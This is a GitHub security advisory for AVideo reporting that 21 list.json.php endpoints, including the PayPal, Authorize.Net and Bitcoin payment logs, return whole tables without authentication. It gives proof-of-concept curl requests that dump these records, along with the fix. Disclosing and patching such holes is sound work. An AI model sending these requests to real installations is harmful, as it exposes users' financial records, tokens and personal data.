GHSA-WPRJ-9CVC-5W37

Vulnerability from github – Published: 2026-03-29 15:40 – Updated: 2026-03-29 15:40
VLAI
Summary
AVideo: Unauthenticated Access to Payment Log DataTables Endpoints Exposes Transaction Data, PayPal Tokens, and User Financial Records
Details

Summary

Multiple payment plugin list.json.php endpoints lack authentication and authorization checks, allowing unauthenticated attackers to retrieve all payment transaction records including PayPal billing agreement IDs, Express Checkout tokens, Authorize.Net webhook payloads with transaction details, and Bitcoin payment records. This is the same class of vulnerability fixed in the Scheduler plugin (GHSA-j724-5c6c-68g5 / commit 83390ab1f) but the fix was not applied to the remaining 21 affected endpoints.

Details

The AVideo ObjectYPT admin CRUD pattern generates four endpoints per database table: add.json.php, delete.json.php, list.json.php, and an index.php page. In the payment plugins, add.json.php and delete.json.php correctly check User::isAdmin() before proceeding, but the list.json.php endpoints have no authorization check whatsoever.

PayPalYPT_log list endpoint (plugin/PayPalYPT/View/PayPalYPT_log/list.json.php:1-10):

<?php
require_once '../../../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/PayPalYPT/Objects/PayPalYPT_log.php';
header('Content-Type: application/json');

$rows = PayPalYPT_log::getAll();
$total = PayPalYPT_log::getTotal();
?>
{"data": <?php echo json_encode($rows); ?>, ...}

No User::isAdmin() check. The getAll() method (inherited from ObjectYPT) executes SELECT * FROM PayPalYPT_log returning all records.

Contrast with the sibling add endpoint (plugin/PayPalYPT/View/PayPalYPT_log/add.json.php:13-16):

if (!User::isAdmin()) {
    $obj->msg = "You can't do this";
    die(json_encode($obj));
}

The configuration.php bootstrap file performs no global authentication gating — it initializes the application framework but does not enforce auth. No .htaccess rules restrict access to plugin View directories.

Data model (plugin/PayPalYPT/Objects/PayPalYPT_log.php): Each record contains agreement_id, users_id, json (full PayPal API response), recurring_payment_id, value (payment amount), and token (PayPal Express Checkout token).

The identical pattern exists in: - plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php — full Authorize.Net webhook payloads - plugin/BTCPayments/View/Btc_payments/list.json.php — Bitcoin transaction identifiers and amounts

This was the exact same vulnerability class patched in commit 83390ab1f for the Scheduler plugin (GHSA-j724-5c6c-68g5), but the fix was only applied to the 3 Scheduler endpoints. A total of 21 list.json.php endpoints across the codebase remain unprotected.

PoC

Step 1 — Dump PayPal transaction logs (unauthenticated):

curl -s 'https://target.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php'

Returns all PayPal transaction records including agreement IDs, tokens, payment amounts, user IDs, and full PayPal API JSON responses.

Step 2 — Dump Authorize.Net webhook logs (unauthenticated):

curl -s 'https://target.com/plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php'

Returns all Authorize.Net webhook payloads including transaction IDs, event types, and payment details.

Step 3 — Dump Bitcoin payment records (unauthenticated):

curl -s 'https://target.com/plugin/BTCPayments/View/Btc_payments/list.json.php'

Returns all Bitcoin transaction identifiers, BTC amounts, and store identifiers.

Step 4 — Confirm sibling endpoints ARE protected:

curl -s -X POST 'https://target.com/plugin/PayPalYPT/View/PayPalYPT_log/add.json.php'
# Returns: {"error":true,"msg":"You can't do this"}

Impact

  • Financial data exposure: Unauthenticated attackers can retrieve all payment transaction records across PayPal, Authorize.Net, and Bitcoin payment providers.
  • Token leakage: PayPal Express Checkout tokens and billing agreement IDs are exposed, potentially enabling payment manipulation or account correlation.
  • PII leakage: Transaction records contain user ID mappings, payment amounts, and full API responses that may include payer email addresses and names.
  • Broad scope: 21 total list.json.php endpoints lack auth, also exposing live streaming server infrastructure (Live_servers), user connection data, meeting participation logs, and AI transcription responses.
  • Zero interaction required: No authentication, no user interaction — a single GET request dumps the entire table.

Recommended Fix

Add User::isAdmin() checks to all unprotected list.json.php endpoints, matching the pattern used in the Scheduler fix (commit 83390ab1f). For each affected file, add immediately after the require_once and header() lines:

if (!User::isAdmin()) {
    $obj = new stdClass();
    $obj->error = true;
    $obj->msg = "You can't do this";
    die(json_encode($obj));
}

The full list of files requiring this fix:

  1. plugin/PayPalYPT/View/PayPalYPT_log/list.json.php
  2. plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php
  3. plugin/BTCPayments/View/Btc_payments/list.json.php
  4. plugin/AI/View/Ai_responses/list.json.php
  5. plugin/AI/View/Ai_metatags_responses/list.json.php
  6. plugin/AI/View/Ai_transcribe_responses/list.json.php
  7. plugin/Live/view/Live_servers/list.json.php
  8. plugin/Live/view/Live_schedule/list.json.php
  9. plugin/Live/view/Live_restreams_logs/list.json.php
  10. plugin/SocialMediaPublisher/View/Publisher_schedule/list.json.php
  11. plugin/SocialMediaPublisher/View/Publisher_social_medias/list.json.php
  12. plugin/Meet/View/Meet_join_log/list.json.php
  13. plugin/Meet/View/Meet_schedule_has_users_groups/list.json.php
  14. plugin/PlayLists/View/Playlists_schedules/list.json.php
  15. plugin/UserConnections/View/Users_connections/list.json.php
  16. plugin/UserNotifications/View/User_notifications/list.json.php
  17. plugin/VideosStatistics/View/Statistics/list.json.php
  18. plugin/VideoTags/View/Tags_subscriptions/list.json.php
  19. plugin/CustomizeUser/View/Categories_has_users_groups/list.json.php
  20. plugin/CustomizeUser/View/Users_extra_info/list.json.php
  21. plugin/ImageGallery/list.json.php
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:40:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMultiple payment plugin `list.json.php` endpoints lack authentication and authorization checks, allowing unauthenticated attackers to retrieve all payment transaction records including PayPal billing agreement IDs, Express Checkout tokens, Authorize.Net webhook payloads with transaction details, and Bitcoin payment records. This is the same class of vulnerability fixed in the Scheduler plugin (GHSA-j724-5c6c-68g5 / commit 83390ab1f) but the fix was not applied to the remaining 21 affected endpoints.\n\n## Details\n\nThe AVideo ObjectYPT admin CRUD pattern generates four endpoints per database table: `add.json.php`, `delete.json.php`, `list.json.php`, and an `index.php` page. In the payment plugins, `add.json.php` and `delete.json.php` correctly check `User::isAdmin()` before proceeding, but the `list.json.php` endpoints have no authorization check whatsoever.\n\n**PayPalYPT_log list endpoint** (`plugin/PayPalYPT/View/PayPalYPT_log/list.json.php:1-10`):\n```php\n\u003c?php\nrequire_once \u0027../../../../videos/configuration.php\u0027;\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027plugin/PayPalYPT/Objects/PayPalYPT_log.php\u0027;\nheader(\u0027Content-Type: application/json\u0027);\n\n$rows = PayPalYPT_log::getAll();\n$total = PayPalYPT_log::getTotal();\n?\u003e\n{\"data\": \u003c?php echo json_encode($rows); ?\u003e, ...}\n```\n\nNo `User::isAdmin()` check. The `getAll()` method (inherited from `ObjectYPT`) executes `SELECT * FROM PayPalYPT_log` returning all records.\n\n**Contrast with the sibling add endpoint** (`plugin/PayPalYPT/View/PayPalYPT_log/add.json.php:13-16`):\n```php\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You can\u0027t do this\";\n    die(json_encode($obj));\n}\n```\n\nThe `configuration.php` bootstrap file performs no global authentication gating \u2014 it initializes the application framework but does not enforce auth. No `.htaccess` rules restrict access to plugin View directories.\n\n**Data model** (`plugin/PayPalYPT/Objects/PayPalYPT_log.php`): Each record contains `agreement_id`, `users_id`, `json` (full PayPal API response), `recurring_payment_id`, `value` (payment amount), and `token` (PayPal Express Checkout token).\n\nThe identical pattern exists in:\n- `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` \u2014 full Authorize.Net webhook payloads\n- `plugin/BTCPayments/View/Btc_payments/list.json.php` \u2014 Bitcoin transaction identifiers and amounts\n\nThis was the exact same vulnerability class patched in commit 83390ab1f for the Scheduler plugin (GHSA-j724-5c6c-68g5), but the fix was only applied to the 3 Scheduler endpoints. A total of 21 `list.json.php` endpoints across the codebase remain unprotected.\n\n## PoC\n\n**Step 1 \u2014 Dump PayPal transaction logs (unauthenticated):**\n```bash\ncurl -s \u0027https://target.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php\u0027\n```\nReturns all PayPal transaction records including agreement IDs, tokens, payment amounts, user IDs, and full PayPal API JSON responses.\n\n**Step 2 \u2014 Dump Authorize.Net webhook logs (unauthenticated):**\n```bash\ncurl -s \u0027https://target.com/plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php\u0027\n```\nReturns all Authorize.Net webhook payloads including transaction IDs, event types, and payment details.\n\n**Step 3 \u2014 Dump Bitcoin payment records (unauthenticated):**\n```bash\ncurl -s \u0027https://target.com/plugin/BTCPayments/View/Btc_payments/list.json.php\u0027\n```\nReturns all Bitcoin transaction identifiers, BTC amounts, and store identifiers.\n\n**Step 4 \u2014 Confirm sibling endpoints ARE protected:**\n```bash\ncurl -s -X POST \u0027https://target.com/plugin/PayPalYPT/View/PayPalYPT_log/add.json.php\u0027\n# Returns: {\"error\":true,\"msg\":\"You can\u0027t do this\"}\n```\n\n## Impact\n\n- **Financial data exposure:** Unauthenticated attackers can retrieve all payment transaction records across PayPal, Authorize.Net, and Bitcoin payment providers.\n- **Token leakage:** PayPal Express Checkout tokens and billing agreement IDs are exposed, potentially enabling payment manipulation or account correlation.\n- **PII leakage:** Transaction records contain user ID mappings, payment amounts, and full API responses that may include payer email addresses and names.\n- **Broad scope:** 21 total `list.json.php` endpoints lack auth, also exposing live streaming server infrastructure (`Live_servers`), user connection data, meeting participation logs, and AI transcription responses.\n- **Zero interaction required:** No authentication, no user interaction \u2014 a single GET request dumps the entire table.\n\n## Recommended Fix\n\nAdd `User::isAdmin()` checks to all unprotected `list.json.php` endpoints, matching the pattern used in the Scheduler fix (commit 83390ab1f). For each affected file, add immediately after the `require_once` and `header()` lines:\n\n```php\nif (!User::isAdmin()) {\n    $obj = new stdClass();\n    $obj-\u003eerror = true;\n    $obj-\u003emsg = \"You can\u0027t do this\";\n    die(json_encode($obj));\n}\n```\n\nThe full list of files requiring this fix:\n\n1. `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php`\n2. `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php`\n3. `plugin/BTCPayments/View/Btc_payments/list.json.php`\n4. `plugin/AI/View/Ai_responses/list.json.php`\n5. `plugin/AI/View/Ai_metatags_responses/list.json.php`\n6. `plugin/AI/View/Ai_transcribe_responses/list.json.php`\n7. `plugin/Live/view/Live_servers/list.json.php`\n8. `plugin/Live/view/Live_schedule/list.json.php`\n9. `plugin/Live/view/Live_restreams_logs/list.json.php`\n10. `plugin/SocialMediaPublisher/View/Publisher_schedule/list.json.php`\n11. `plugin/SocialMediaPublisher/View/Publisher_social_medias/list.json.php`\n12. `plugin/Meet/View/Meet_join_log/list.json.php`\n13. `plugin/Meet/View/Meet_schedule_has_users_groups/list.json.php`\n14. `plugin/PlayLists/View/Playlists_schedules/list.json.php`\n15. `plugin/UserConnections/View/Users_connections/list.json.php`\n16. `plugin/UserNotifications/View/User_notifications/list.json.php`\n17. `plugin/VideosStatistics/View/Statistics/list.json.php`\n18. `plugin/VideoTags/View/Tags_subscriptions/list.json.php`\n19. `plugin/CustomizeUser/View/Categories_has_users_groups/list.json.php`\n20. `plugin/CustomizeUser/View/Users_extra_info/list.json.php`\n21. `plugin/ImageGallery/list.json.php`",
  "id": "GHSA-wprj-9cvc-5w37",
  "modified": "2026-03-29T15:40:52Z",
  "published": "2026-03-29T15:40:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wprj-9cvc-5w37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1729a955f8de7e26552eb728b3d1e6f4b1b9352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-j724-5c6c-68g5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated Access to Payment Log DataTables Endpoints Exposes Transaction Data, PayPal Tokens, and User Financial Records"
}


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